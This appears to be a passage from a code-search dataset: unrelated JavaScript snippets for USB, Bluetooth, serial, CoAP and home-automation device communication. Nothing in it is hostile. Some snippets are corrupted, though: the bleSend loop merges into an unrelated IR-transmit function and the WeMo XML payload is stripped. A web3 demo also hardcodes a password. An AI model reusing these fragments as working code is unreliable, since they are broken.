+ ' to ' + ip + '(' + retryCounter + ')');\n let retryTimeout = null;\n try {\n const req = coap.request({\n host: ip,\n //port: 5683,\n method: 'GET',\n pathname: '/cit/d'\n });\n\n retryTimeout = setTimeout(() => {\n this.getDeviceDescription(deviceId, callback, ++retryCounter);\n callback = null;\n }, 2000);\n req.on('response', (res) => {\n clearTimeout(retryTimeout);\n const options = {};\n res.options.forEach((opt) => {\n if (!options[opt.name]) {\n options[opt.name] = opt.value;\n }\n else {\n options[opt.name] += '/' + opt.value;\n }\n });\n this.logger && this.logger('CoAP response: ' + JSON.stringify(options));\n\n const deviceId = this.initDevice(options, res.rsinfo);\n if (!deviceId) return;\n\n let payload = res.payload.toString();\n if (!payload.length) {\n this.logger && this.logger('CoAP payload empty: ' + JSON.stringify(options));\n return;\n }\n try {\n\n if (payload.indexOf('`') !== -1) {\n this.logger && this.logger(payload);\n payload = payload.substr(0, payload.lastIndexOf('`'));\n this.logger && this.logger('CoAP payload cutted: ' + payload.indexOf('`'));\n }\n\n payload = JSON.parse(payload);\n }\n catch (err) {\n this.emit('error', err + ' (res) for JSON ' + payload);\n return;\n }\n this.logger && this.logger('Device description received: ' + JSON.stringify(options) + ' / ' + JSON.stringify(payload));\n if (req.rsinfo) {\n this.knownDevices[deviceId].ip = req.rsinfo.address;\n this.knownDevices[deviceId].port = req.rsinfo.port;\n }\n this.knownDevices[deviceId].description = payload;\n callback && callback(null, deviceId, payload, this.knownDevices[deviceId].ip);\n callback = null;\n });\n req.on('error', (error) => {\n // console.log(error);\n this.emit('error', error);\n });\n req.end();\n }\n catch (e) {\n if (retryTimeout) clearTimeout(retryTimeout);\n callback && callback(e);\n callback = null;\n }\n }","buildModemInterface() {\n return new Promise((resolve, reject) => {\n this.log(`starting modem interface on port ${this.uri} @ ${this.baud_rate}`);\n let serial_port = new SerialPort(this.uri, {\n baudRate: this.baud_rate\n });\n serial_port.on('open', () => {\n resolve(serial_port);\n });\n serial_port.on('error', (err) => {\n reject(err);\n });\n serial_port.on('data', (data) => {\n // buffer the received data\n this.response_buffer += data.toString();\n // check if the response code exists in our buffered data\n this.response_codes.forEach((code) => {\n if (this.response_buffer.toUpperCase().indexOf(code) > -1) {\n this.handleModemResponse({\n data: this.response_buffer.replace(code, '').trim(), \n code: code\n });\n this.response_buffer = '';\n }\n })\n });\n return serial_port;\n });\n }","function send(data) {\n\n if(MODE == MODES.TEST) {\n ws.send(data);\n } else if(MODE == MODES.BLUETOOH) {\n\n var data = new Uint8Array(1);\n data[0] = data;\n\n ble.write(id, serviceId, serviceName, data.buffer, function() {\n console.log(\"ble -> sendSucess\");\n }, function(err) {\n console.log(\"ble -> sendFailure : \" + JSON.stringify(err));\n });\n\n }\n\n}","sendMakeBetShan2(_chipbet) {\n cc.NGWlog(\"Vua dat cuoc =\" + _chipbet);\n var data = {\n evt: \"bm\",\n M: _chipbet\n };\n this.sendDataGame(JSON.stringify(data));\n }","async function requestBlockchainInfo() {\n return instance\n .get(\"/tuichain/get_info/\")\n .then((response) => {\n return response.data;\n })\n .catch((error) => {\n console.log(error);\n return false;\n });\n}","async function main(){\n\nvar password=\"pengshu\";\n\nvar oneBranchAccount=await web3.eth.personal.newAccount(password);\nconsole.log(\"one branch\",oneBranchAccount);\n\n\nlet unlock;\n\ntry{\n unlock=await web3.eth.personal.unlockAccount(oneBranchAccount,password);}\ncatch(e){}\n console.log(\"one branch unlock\",unlock);\n \n\nvar message=\"I am the flash\";\nlet signature;\ntry{\n signature=await web3.eth.sign(message,oneBranchAccount);\n}catch(e){}\nconsole.log(\"signature one branch:\",signature);\n\nlet verfication;\ntry {\n verification= await web3.eth.personal.ecRecover(message,signature);\n}catch(e){console.log(e);}\nconsole.log(verfication);\n}","function expressGETBuffer(){\r\n GenerateRandom(currentBuffer);\r\n app.get('/api/buffer',(req,res) =>{\r\n res.json({\r\n arduino: currentBufferArduino,\r\n dummy: currentBuffer\r\n });\r\n });\r\n //console.log(\"2a. GET to Server\");\r\n}"],"string":"[\n \"async function RequestUSBDevice() { \\n await navigator.usb.requestDevice({ filters: [{}] });\\n}\",\n \"async getRequestDeviceInfo() {\\n const outputReportID = 0x01;\\n const subcommand = [0x02];\\n const data = [\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n ...subcommand,\\n ];\\n await this.device.sendReport(outputReportID, new Uint8Array(data));\\n\\n return new Promise((resolve) => {\\n const onDeviceInfo = ({ detail: deviceInfo }) => {\\n this.removeEventListener('deviceinfo', onDeviceInfo);\\n delete deviceInfo._raw;\\n delete deviceInfo._hex;\\n resolve(deviceInfo);\\n };\\n this.addEventListener('deviceinfo', onDeviceInfo);\\n });\\n }\",\n \"function readRHUSB() {\\n port.write(\\\"PA\\\\r\\\\n\\\");\\n}\",\n \"function bluetooth(){\\n\\n if (!navigator.bluetooth) {\\n return alert('Web Bluetooth API is not available in this browser. Please use chrome.');\\n }\\n const z = document.getElementById('debugger');\\n const y = document.getElementById('serial')\\n\\n if (z.style.display ===\\\"none\\\"){\\n z.style.display = \\\"block\\\";\\n }else{\\n }\\n \\n z.innerHTML= z.innerHTML + \\\"\\\\n\\\"+ ('Requesting Bluetooth Devices');\\n navigator.bluetooth.requestDevice({\\n filters:[{\\n name: 'MicroTrynkit',\\n }],\\n optionalServices: [service]\\n })\\n .then(device=>{\\n z.innerHTML = z.innerHTML + \\\"\\\\n\\\"+ (\\\"Connected to: \\\");\\n z.innerHTML= z.innerHTML +\\\"\\\\n\\\"+ (\\\">Name:\\\" + device.name);\\n z.innerHTML= z.innerHTML + \\\"\\\\n\\\"+ (\\\">id:\\\" + device.id);\\n isConnected = 1;\\n bledevice = device;\\n return device.gatt.connect();\\n })\\n .then(server=>{\\n bleserver = server;\\n return server.getPrimaryService(service);\\n })\\n .then(service => {\\n return service.getCharacteristic(RX_char)\\n .then(characteristic => {\\n console.log(characteristic);\\n RX_characteristic = characteristic;\\n return service.getCharacteristic(TX_char);\\n })\\n })\\n .then(characteristic => {\\n console.log(characteristic);\\n TX_characteristic = characteristic;\\n /* add an event listener to the TX characteristic */\\n TX_characteristic.addEventListener('valueUpdate', handleValueUpdated);\\n console.log(TX_characteristic.readValue());\\n })\\n .then( value =>{\\n /* try to read from the device and print to console */\\n // y.innerText = value.getUint8(0);\\n // console.log(value.getUint8(0));\\n })\\n .catch(error=> {\\n z.innerHTML= z.innerHTML + \\\"\\\\n\\\"+ (error);\\n });\\n}\",\n \"requestUsb() {\\n return new Observable(observer => {\\n navigator.usb.requestDevice({ filters: [] })\\n .then((result) => {\\n this.vendorId = result.vendorId;\\n this.productId = result.productId;\\n return observer.next(result);\\n }).catch(error => {\\n return observer.error(error);\\n });\\n });\\n }\",\n \"async function uBitOpenDevice(device, callback) {\\n const transport = new DAPjs.WebUSB(device)\\n const target = new DAPjs.DAPLink(transport)\\n let buffer=\\\"\\\" // Buffer of accumulated messages\\n const parser = /([^.:]*)\\\\.*([^:]+|):(.*)/ // Parser to identify time-series format (graph:info or graph.series:info)\\n \\n target.on(DAPjs.DAPLink.EVENT_SERIAL_DATA, data => {\\n buffer += data;\\n let firstNewline = buffer.indexOf(\\\"\\\\n\\\")\\n while(firstNewline>=0) {\\n let messageToNewline = buffer.slice(0,firstNewline)\\n let now = new Date() \\n // Deal with line\\n // If it's a graph/series format, break it into parts\\n let parseResult = parser.exec(messageToNewline)\\n if(parseResult) {\\n let graph = parseResult[1]\\n let series = parseResult[2]\\n let data = parseResult[3]\\n let callbackType = \\\"graph-event\\\"\\n // If data is numeric, it's a data message and should be sent as numbers\\n if(!isNaN(data)) {\\n callbackType = \\\"graph-data\\\"\\n data = parseFloat(data)\\n }\\n // Build and send the bundle\\n let dataBundle = {\\n time: now,\\n graph: graph, \\n series: series, \\n data: data\\n }\\n callback(callbackType, device, dataBundle)\\n } else {\\n // Not a graph format. Send it as a console bundle\\n let dataBundle = {time: now, data: messageToNewline}\\n callback(\\\"console\\\", device, dataBundle)\\n }\\n buffer = buffer.slice(firstNewline+1) // Advance to after newline\\n firstNewline = buffer.indexOf(\\\"\\\\n\\\") // See if there's more data\\n }\\n });\\n await target.connect();\\n await target.setSerialBaudrate(115200)\\n //await target.disconnect();\\n device.target = target; // Store the target in the device object (needed for write)\\n device.callback = callback // Store the callback for the device\\n callback(\\\"connected\\\", device, null) \\n target.startSerialRead()\\n return Promise.resolve()\\n}\",\n \"async request() {\\n let options = {\\n filters: [\\n {\\n name: \\\"balenaBLE\\\"\\n }\\n ],\\n optionalServices: [0xfff0, 0xfff1]\\n };\\n if (navigator.bluetooth == undefined) {\\n alert(\\\"Sorry, Your device does not support Web BLE!\\\");\\n return;\\n }\\n this.device = await navigator.bluetooth.requestDevice(options);\\n if (!this.device) {\\n throw \\\"No device selected\\\";\\n }\\n this.device.addEventListener(\\\"gattserverdisconnected\\\", this.onDisconnected);\\n }\",\n \"async function SendBlyncUSB30ControlCommand(deviceInfo, byRedValue, byGreenValue, byBlueValue, byLightControl, byMusicControl_1, byMusicControl_2) {\\n\\n try {\\n var device = deviceInfo.device;\\n\\n await device.open();\\n //await device.reset();\\n\\n if (device.configuration === null) {\\n await device.selectConfiguration(1);\\n }\\n\\n\\t\\tawait device.claimInterface(0);\\n\\t\\t\\n abyBlyncUsb30ReportBuffer[0] = byRedValue;\\n abyBlyncUsb30ReportBuffer[1] = byBlueValue;\\n abyBlyncUsb30ReportBuffer[2] = byGreenValue;\\n abyBlyncUsb30ReportBuffer[3] = byLightControl;\\n abyBlyncUsb30ReportBuffer[4] = byMusicControl_1;\\n abyBlyncUsb30ReportBuffer[5] = byMusicControl_2;\\n abyBlyncUsb30ReportBuffer[6] = 0xFF;\\n abyBlyncUsb30ReportBuffer[7] = 0x22;\\n\\n var result = await device.controlTransferOut( \\n {\\n requestType: 'class',\\n recipient: 'interface',\\n request: 0x09,\\n value: 0x0200,\\n index: 0x0000\\n },\\n abyBlyncUsb30ReportBuffer);\\n\\n await device.close();\\n } catch (e) {\\n console.log(\\\"Exception: \\\" + e);\\n }\\n}\",\n \"respondToArduino(command){\\n BluetoothSerial.write(command)\\n .then((res) => {\\n console.log(res, command)\\n })\\n .catch((err) => console.log(err.message))\\n }\",\n \"function bleConsole(value){\\n const y = document.getElementById('serial')\\n /* check if the device is connected if true send file*/\\n if(isConnected){\\n /* need to read the value of the TX_char\\n * may need some kind of loop or trigger to watch if new data comes in????\\n * not sure what I want to implement for this yet....\\n */\\n // y.innerText = TX_characteristic.readValue(); TODO does not work\\n }else{\\n const x = document.getElementById('console');\\n x.style.display =\\\"none\\\";\\n alert(\\\"MicroTrynkit device not connected. Please pair it first.\\\");\\n }\\n\\n}\",\n \"enumerate_devices() {\\n const filters = {filters: [\\n {vendorId: 0x16D0}\\n ]};\\n\\n if (!this.usb) {\\n this.log(\\\"error: WebUSB not supported\\\\n\\\", \\\"red\\\");\\n return;\\n }\\n\\n this.usb.requestDevice(filters)\\n .then(dev => this.connect_device(dev))\\n .catch(error => {\\n if (String(error) === \\\"SecurityError: Must be handling a user gesture to show a permission request.\\\") {\\n this.log(\\\"Please click 'Connect Device' on the left toolbar.\\\", \\\"black\\\");\\n } else if (String(error) === \\\"NotFoundError: No device selected.\\\") {\\n this.log(\\\"Please select a WebUSB device.\\\", \\\"red\\\");\\n } else {\\n this.log(String(error));\\n this.log(\\\"error: unable to enumerate USB device list\\\");\\n }\\n });\\n }\",\n \"async function findUSBDevice(event) {\\n // STEP 1A: Auto-Select first port\\n if (event.type == 'AutoConnect' || event.type == 'Reconnect') {\\n // ports = await getPorts()\\n //STEP 1A: GetPorts - Automatic at initialization\\n // -Enumerate all attached devices\\n // -Check for permission based on vendorID & productID\\n devices = await navigator.usb.getDevices();\\n ports = devices.map((device) => new serial.Port(device)); //return port\\n\\n if (ports.length == 0) {\\n port.statustext_connect =\\n 'NO USB DEVICE automatically found on page load';\\n console.log(port.statustext_connect);\\n } else {\\n var statustext = '';\\n if (event.type == 'AutoConnect') {\\n statustext = 'AUTO-CONNECTED USB DEVICE ON PAGE LOAD!';\\n } else if (event.type == 'Reconnect') {\\n statustext = 'RECONNECTED USB DEVICE!';\\n }\\n port = ports[0];\\n try {\\n await port.connect();\\n } catch (error) {\\n console.log(error);\\n }\\n port.statustext_connect = statustext;\\n console.log(port.statustext_connect);\\n\\n //Hide manual connect button upon successful connect\\n document.querySelector('button[id=connectusb]').style.display = 'none';\\n }\\n }\\n\\n // STEP 1B: User connects to Port\\n if (\\n event.type == 'pointerup' ||\\n event.type == 'touchend' ||\\n event.type == 'mouseup'\\n ) {\\n event.preventDefault(); //prevents additional downstream call of click listener\\n try {\\n //STEP 1B: RequestPorts - User based\\n // -Get device list based on Arduino filter\\n // -Look for user activation to select device\\n const filters = [\\n { vendorId: 0x2341, productId: 0x8036 },\\n { vendorId: 0x2341, productId: 0x8037 },\\n { vendorId: 0x2341, productId: 0x804d },\\n { vendorId: 0x2341, productId: 0x804e },\\n { vendorId: 0x2341, productId: 0x804f },\\n { vendorId: 0x2341, productId: 0x8050 },\\n ];\\n\\n device = await navigator.usb.requestDevice({ filters: filters });\\n port = new serial.Port(device); //return port\\n\\n await port.connect();\\n\\n port.statustext_connect = 'USB DEVICE CONNECTED BY USER ACTION!';\\n console.log(port.statustext_connect);\\n\\n //Hide manual connect button upon successful connect\\n document.querySelector('button[id=connectusb]').style.display = 'none';\\n } catch (error) {\\n console.log(error);\\n }\\n waitforClick.next(1);\\n }\\n} //FUNCTION findUSBDevice\",\n \"function connectviaBT() {\\r\\n\\t// initialize bluetooth and setup an event listener\\r\\n\\t//todo: refactor name mWebSocket_InitAsync\\r\\n\\tdocument.getElementById( \\\"idStatus\\\").innerHTML=\\\"Connecting via BT\\\";\\r\\n\\t//returns data from BT as Uint8Array [1..20]\\r\\n\\t//Todo: write what this does in a comment is this the Ternary Operator? (variable = (condition) ? expressionTrue : expressionFalse)\\r\\n\\treturn (bluetoothDeviceDetected ? Promise.resolve() : getDeviceInfo() && isWebBluetoothEnabled())\\r\\n\\t.then(connectGATT) //todo:@FC please explain what is happening here\\r\\n\\t.then(_ => {\\r\\n\\t\\tconsole.log('Evaluating signal of interest...')\\r\\n\\t\\treturn gattCharacteristic.readValue()\\t//receiving data from BT - Uint8Array [1..20]\\r\\n\\t})\\r\\n\\t.catch(error => {\\r\\n\\t\\tconsole.log('Waiting to start reading: ' + error)\\r\\n\\t})\\r\\n}\",\n \"function getdevice (dev, callback)\\n{\\n if (typeof (webphone_api.plhandler) !== 'undefined' && webphone_api.plhandler !== null)\\n {\\n if (typeof (dev) === 'undefined' || dev === null || dev.length < 1) dev = '-13';\\n webphone_api.plhandler.GetDevice(dev, callback);\\n }\\n}\",\n \"function controlHSDevice(device,action,value,cbfunc){\\n var options = {\\n hostname: hsserver,\\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/viewer/default/ + action + "&id=' + device + '&value=' + value,\\n port: hsport,\\n headers: {\\n 'Authorization': auth\\n }\\n };\\n\\n http.get(options, function(response) {\\n var body = '';\\n response.on('data', function(d) {body += d;});\\n response.on('end', function() {cbfunc(JSON.parse(body));});\\n\\t response.on(\\\"error\\\",function(e){console.log(\\\"Got error: \\\" + e.message); });\\n }); \\n}\",\n \"function controlHSDevice(device,action,value,cbfunc){\\n var options = {\\n hostname: hsserver,\\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/viewer/default/ + action + "&id=' + device + '&value=' + value,\\n port: hsport,\\n headers: {\\n 'Authorization': auth\\n }\\n };\\n\\n http.get(options, function(response) {\\n var body = '';\\n response.on('data', function(d) {body += d;});\\n response.on('end', function() {cbfunc(JSON.parse(body));});\\n\\t response.on(\\\"error\\\",function(e){log(\\\"Got error: \\\" + e.message); });\\n }); \\n}\",\n \"function getWeMoData() {\\n var wemoHeaders = { \\n \\\"Content-Type\\\": \\\"application/json\\\", \\n \\\"SOAPACTION\\\": \\\"urn:Belkin:service:basicevent:1#GetBinaryState\\\",\\n };\\n var wemoState = '>' + \\n '' +\\n \\\"\\\" + \\n '' + \\n \\\"1 \\\" + \\n \\\" \\\" + \\n \\\" \\\" + \\n \\\" \\\"\\n var wemoOptions =\\n {\\n \\\"method\\\" : \\\"post\\\",\\n \\\"headers\\\" : wemoHeaders,\\n \\\"muteHttpExceptions\\\": true,\\n \\\"payload\\\" : wemoState,\\n };\\n\\n var ddnsDevices = [ \\\"WemoXmas\\\", \\\"WemoGazebo\\\" ];\\n props.setProperty( \\\"weNum\\\", ddnsDevices.length ); \\n \\n for (var i = 0; i < ddnsDevices.length; i++) {\\n var response = UrlFetchApp.fetch(getSecureVal(ddnsDevices[i], \\\"URL\\\") + \\\"/upnp/control/basicevent1\\\").getContentText();\\n Logger.log(response);\\n var wemoJson = JSON.parse(response);\\n state = wemoJSON.BinaryState;\\n props.setProperties( \\\"we\\\" + String(i), state ); \\n /* send to ATT M2X*/\\n var streams = [ \\\"we0\\\", \\\"we1\\\", \\\"we2\\\", \\\"we3\\\" ];\\n sendDataATT(ddnsDevices[i], streams);\\n logProps(streams);\\n }\\n \\n}\",\n \"async send_cmd(cmd, options={}) {\\n const data = options.data;\\n const textDecode = (options.textDecode !== undefined ? !!options.textDecode : true);\\n const sleepOverride = (parseInt(options.sleepOverride) || 10);\\n const cmdIndex = (parseInt(options.cmdIndex) || 0);\\n\\n if (!this.device || !this.device.opened) {\\n this.log(\\\"error: device not connected.\\\\n\\\", \\\"red\\\");\\n this.log(\\\"Use button to connect to a supported programmer.\\\\n\\\", \\\"red\\\");\\n return Promise.reject(\\\"error: device not opened\\\");\\n }\\n\\n const opts = {\\n requestType: \\\"vendor\\\",\\n recipient: \\\"device\\\",\\n request: 250,\\n value: this.CMD_LUT[cmd],\\n index: cmdIndex\\n };\\n\\n // transfer data out\\n const res = data\\n ? await this.device.controlTransferOut(opts, data)\\n : await this.device.controlTransferOut(opts);\\n\\n // sleep for a bit to give the USB device some processing time leeway\\n await (() => new Promise(resolve => setTimeout(resolve, sleepOverride)))();\\n\\n return this.device.controlTransferIn({\\n requestType: \\\"vendor\\\",\\n recipient: \\\"device\\\",\\n request: 249,\\n value: 0x70,\\n index: 0x81\\n }, 64).then(result => {\\n return textDecode\\n ? (new TextDecoder()).decode(result.data)\\n : result.data.buffer;\\n });\\n }\",\n \"async function requestBLEDevice(){\\n let result = Promise.resolve()\\n if (ble.connected == false){\\n console.log('Requesting ble device...')\\n wdm('Requesting bluetooth device list')\\n // let options = {filters: [ {name: ble.name}, {services:[ ble.customserviceUUID ]} ]}\\n let options = {filters: [ {namePrefix: ble.namePrefix}, {services:[ ble.customserviceUUID ]} ]}\\n\\n try{\\n device = await navigator.bluetooth.requestDevice(options)\\n console.log(\\\"found a device\\\",device)\\n console.log(device.name)\\n console.log(device.uuids)\\n var textstr = \\\"found a device name: \\\" + device.name + \\\"
\\\" + \\\"id: \\\" + device.id\\n ble.statustext = textstr\\n \\n ble.device=device\\n ble.device.addEventListener('gattserverdisconnected',onDisconnectedBLE)\\n }\\n catch(error){\\n if (ble.connected == false){\\n var textstr = 'Still waiting for user to select device'\\n console.log(textstr)\\n ble.statustext = ble.statustext + \\\"
\\\" + textstr\\n \\n return error\\n }\\n }\\n }\\n return result\\n}\",\n \"getHardware (cb) {\\n\\t\\tvar self = this\\n\\n\\t\\tif (!this.started)\\n\\t\\t{\\n\\t\\t\\treturn cb('Connection to MD-DM not started')\\n\\t\\t}\\n\\n\\t\\tif (!this.device.connected)\\n\\t\\t{\\n\\t\\t\\treturn cb('Not currently connected to MD-DM')\\n\\t\\t}\\n\\n\\t\\tthis._connection.exec('SHOWHW', function (err, response) {\\n\\t\\t\\tself._logger.verbose(`SHOWHW response: ${response}`)\\n\\n\\t\\t\\ttry\\n\\t\\t\\t{\\n\\t\\t\\t\\tcb(err, TelnetOutputParser.parseHardware(response))\\n\\t\\t\\t}\\n\\t\\t\\tcatch (e)\\n\\t\\t\\t{\\n\\t\\t\\t\\tself._logger.warn(`Failed to parse response: ${response}`)\\n\\t\\t\\t\\tcb(`Failed to parse response: ${e} / ${e.stack}`)\\n\\t\\t\\t}\\n\\t\\t})\\n\\t}\",\n \"function request(value) {\\n\\t// Init variables\\n\\tlet src;\\n\\tlet cmd;\\n\\n\\tswitch (value) {\\n\\t\\tcase 'motor-values' : {\\n\\t\\t\\tsrc = 'DIA';\\n\\t\\t\\tcmd = [ 0xB8, 0x12, 0xF1, 0x03, 0x22, 0x40, 0x00 ];\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\n\\t\\tdefault : return;\\n\\t}\\n\\n\\tbus.data.send({\\n\\t\\tsrc : src,\\n\\t\\tdst : 'DME',\\n\\t\\tmsg : cmd,\\n\\t});\\n}\",\n \"function OpenAVR(device)\\n{\\n if (device.deviceDescriptor.idVendor != kAtmel ||\\n device.deviceDescriptor.idProduct != kEVK1101)\\n {\\n return; // (not our device)\\n }\\n\\n try {\\n device.open();\\n device.interfaces[0].claim();\\n // find first unused input >= 2\\n for (var i=2; ; ++i) {\\n if (i < avrs.length && avrs[i]) continue;\\n avrs[i] = device;\\n device.avrNum = i;\\n var endIn = device.interfaces[0].endpoints[0];\\n var endOut = device.interfaces[0].endpoints[1];\\n endIn.avrNum = i;\\n endOut.avrNum = i;\\n endIn.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\\n endOut.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\\n endIn.timeout = 1000;\\n endOut.timeout = 1000;\\n // (must install handlers before we start polling)\\n endIn.on('data', HandleData);\\n endIn.on('error', HandleError);\\n endOut.on('error', HandleError);\\n endIn.startPoll(4, 256);\\n\\n // add member function to send command to AVR\\n device.SendCmd = SendCmd;\\n // send initial command to get AVR serial number and software version\\n device.SendCmd(\\\"a.ser;b.ver\\\\n\\\");\\n break;\\n }\\n }\\n catch (err) {\\n Log('Error opening AVR device');\\n }\\n}\",\n \"writeLoginControl(data) {\\n var arrData = [17,16,0,1,1,];\\n const data_send = this.toUTF8Array(data);\\n console.log('writeLoginControl_1',data_send);\\n for (var i = 0; i < data_send.length; i++) {\\n arrData.push(data_send[i]);\\n }\\n arrData[2] = arrData.length + 1;\\n arrData[arrData.length] = this.calCheckSum(arrData);\\n\\n console.log('writeLoginControl_2',arrData, this.byteToHexString(arrData));\\n\\n BleManager.writeWithoutResponse(this.props.mymac, 'fff0', 'fff5',arrData)\\n .then(() => {\\n console.log('--writeLoginControl successfully: ',arrData);\\n })\\n .catch((error) => {\\n console.log('--writeLoginControl failed ',error);\\n });\\n }\",\n \"readFromDevice() {\\n this.device.transferIn(5, 64).then(result => {\\n const decoder = new TextDecoder();\\n this.rstring += decoder.decode(result.data);\\n // do a quick JSON smoketest (should do better with decoder/streaming)\\n const startIdx = this.rstring.indexOf('{');\\n if(startIdx > 0) this.rstring = this.rstring.substring(startIdx);\\n const endIdx = this.rstring.indexOf('}');\\n if(endIdx > -1) {\\n const parseStr = this.rstring.substring(0, endIdx+1);\\n this.rstring = this.rstring.substring(endIdx+1);\\n try {\\n const msg = JSON.parse(parseStr);\\n this._handleMessage(msg);\\n // this.dispatchEvent(new CustomEvent('ek-event', {detail:msg}), {bubbles: true});\\n } catch(e) {\\n console.log(\\\"NOT JSON:\\\",parseStr);\\n }\\n this.rstring = \\\"\\\";\\n }\\n this.readFromDevice();\\n })\\n .catch(error => { \\n console.log(error);\\n this.emitMessage(this.device.serialNumber, \\\"\\\");\\n this.emitDisconnected(this.device.serialNumber);\\n this.device = null;\\n this.rstring = \\\"\\\";\\n });\\n }\",\n \"async getBatteryLevel() {\\n const outputReportID = 0x01;\\n const subCommand = [0x50];\\n const data = [\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n ...subCommand,\\n ];\\n await this.device.sendReport(outputReportID, new Uint8Array(data));\\n\\n return new Promise((resolve) => {\\n const onBatteryLevel = ({ detail: batteryLevel }) => {\\n this.removeEventListener('batterylevel', onBatteryLevel);\\n delete batteryLevel._raw;\\n delete batteryLevel._hex;\\n resolve(batteryLevel);\\n };\\n this.addEventListener('batterylevel', onBatteryLevel);\\n });\\n }\",\n \"async getDeviceDetails() {\\n return this.digestClient\\n .fetch(\\n `http://${this.dahua_host}/cgi-bin/magicBox.cgi?action=getSystemInfo`\\n )\\n .then((r) => r.text())\\n .then((text) => {\\n const deviceDetails = text\\n .trim()\\n .split('\\\\n')\\n .reduce((obj, str) => {\\n const [key, val] = str.split('=');\\n obj[key] = val.trim();\\n return obj;\\n }, {});\\n return deviceDetails;\\n });\\n }\",\n \"async function readComms() {\\n await transferByte(0x99);\\n let readLen = await transferByte(0x00);\\n if (readLen) {\\n let rxBuff = Buffer.alloc(readLen, 0, 'binary');\\n for(let ri = 0; ri < readLen; ri++) {\\n let rx = await transferByte(0x00);\\n rxBuff[ri] = rx;\\n }\\n return rxBuff;\\n }\\n return null;\\n}\",\n \"get_card_id_ex() {\\n return new Promise((resolve, reject) => {\\n\\n let on_frame = (frame) => {\\n // remove_listener();//remove to resever for next time \\n switch (frame.type) {\\n case CODE.ERR_HEADER: /* No card */\\n\\n let err_code = frame.buffer[1];\\n if (err_code == CODE.NO_CARD) {\\n resolve({ is_available: false, uid_len: 0, uid: '' });\\n } else {\\n reject(frame);\\n }\\n break;\\n case CODE.RESPONSE_HEADER:/*have card */\\n let uid_len = frame.buffer[5];\\n let resp = {\\n is_available: true\\n };\\n if (this.buffer.length >= (CODE.PACKET_LENGTH + uid_len)) {\\n let uid_buffer = new Buffer.alloc(uid_len);\\n frame.buffer.copy(uid_buffer, 0, 7, 7 + uid_len);\\n resp.uid_len = uid_len;\\n resp.uid = util.to_hex_string(uid_buffer);\\n resolve(resp);\\n }\\n else {\\n reject('invalid resp');\\n }\\n break;\\n default:\\n reject('invalid resp');\\n break;\\n }\\n };\\n this.once('frame', on_frame);//onetime fire\\n\\n //GET_CARD_ID_EX (0x2C) : Use this function for cards with UID longer than 4 byte\\n this.send_command(\\\"55 2C AA 00 00 00 DA\\\");\\n });\\n }\",\n \"function bleSend() {\\n /* check if the device is connected if true send file*/\\n let encoder = new TextEncoder('utf-8');\\n\\n if(isConnected){\\n /* send an erase command so that the file gets started fresh */\\n RX_characteristic.writeValue(encoder.encode(\\\"erase\\\"));\\n for(let a = 0; a<3000; a++){\\n console.log(\\\"\\\")\\n }\\n /* get the contents of the editor that is in use */\\n let editorContents = editor.getValue();\\n /* send the contents to the device */\\n //split the editor contents into newlines.\\n temp = editorContents.split(/\\\\n/);\\n for(let i=0; i> (8*(1-j)));\\n }\\n */\\n //CMD\\n tx_data[0] = 0;\\n //index\\n tx_data[1] = i & 0xff;\\n\\n\\n for(var j = 0; j < 2; j = j + 1){\\n tx_data[2+j] = 0xff & ((g_rawcode_length/2) >> (8*(1-j)));\\n }\\n\\n //freq(0:38k, 1;40k)\\n tx_data[4] = 0;\\n //Format(0:unknown, 1:NEC, 2:SONY...)\\n tx_data[5] = 1;\\n\\n //Number of Frame\\n for(var j = 0; j < 2; j = j + 1){\\n tx_data[6+j] = 0xff & (g_rawcode_length >> (8*(1-j)));\\n }\\n\\n //Data0\\n for(var j = 0; j < 4; j = j + 1){\\n tx_data[8+j] = 0xff & ((g_rawcode[i*2] / g_ir_margin) >> (8*(3-j)));\\n }\\n\\n //Data1\\n for(var j = 0; j < 4; j = j + 1){\\n tx_data[12+j] = 0xff & ((g_rawcode[i*2 + 1] / g_ir_margin) >> (8*(3-j)));\\n }\\n\\n //Transmit\\n window.cmdCharacteristic.writeValue(new Uint8Array(tx_data)).catch(error => {\\n uiDebugMessage(\\\"liffWriteLoadMatrix\\\");\\n uiStatusError(makeErrorMsg(error), false);\\n });\\n }\\n }else{\\n window.cmdCharacteristic.writeValue(new Uint8Array([1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])).catch(error => {\\n uiDebugMessage(\\\"liffWriteLoadMatrix - Req\\\");\\n uiStatusError(makeErrorMsg(error), false);\\n });\\n }\\n}\",\n \"start() {\\n let constraints = {\\n video: {\\n facingMode: 'user',\\n height: { min: 360, ideal: 720, max: 1080 },\\n deviceId: localStorage.getItem('deviceId')\\n },\\n audio: true\\n };\\n\\n // navigator.mediaDevices.enumerateDevices()\\n // .then(dd=> { \\n // dd.map(device => {\\n // if (device.kind == 'videoinput' && device.label == DEVICE) {\\n // constraints.video.deviceId = device.deviceId;\\n // }\\n // })\\n // }) \\n\\n // navigator.usb.requestDevice({filters:[]})\\n // .then(selectedDevice => {\\n // device = selectedDevice;\\n // console.log('selectedDevice', device, selectedDevice);\\n // return device.open(); // Begin a session.\\n // })\\n // .then(() => {\\n // console.log('daada', device.selectConfiguration);\\n // device.selectConfiguration(1)}) // Select configuration #1 for the device.\\n // .then(() => {\\n // console.log('daada', device.claimInterface);\\n // device.claimInterface(0)}) // Request exclusive control over interface #2.\\n // .then(() => {\\n // console.log('daada', device.controlTransferOut);\\n // device.controlTransferOut({\\n // requestType: 'class',\\n // recipient: 'interface',\\n // request: 0x22,\\n // value: 0x01,\\n // index: 0x02})}) // Ready to receive data\\n // .then(() => {\\n // console.log('dedde', device);\\n // device.transferIn(5, 64)\\n // }) // Waiting for 64 bytes of data from endpoint #5.\\n // .then(result => {\\n // let decoder = new TextDecoder();\\n // console.log('decoder', decoder, result);\\n // console.log('Received: ' + decoder.decode(result.data));\\n // })\\n // .catch(error => { console.log('this.error', error); });\\n console.log('constraints', constraints)\\n\\n setTimeout(() => {\\n // constraints.video.deviceId = localStorage.getItem('deviceId');\\n navigator.mediaDevices\\n 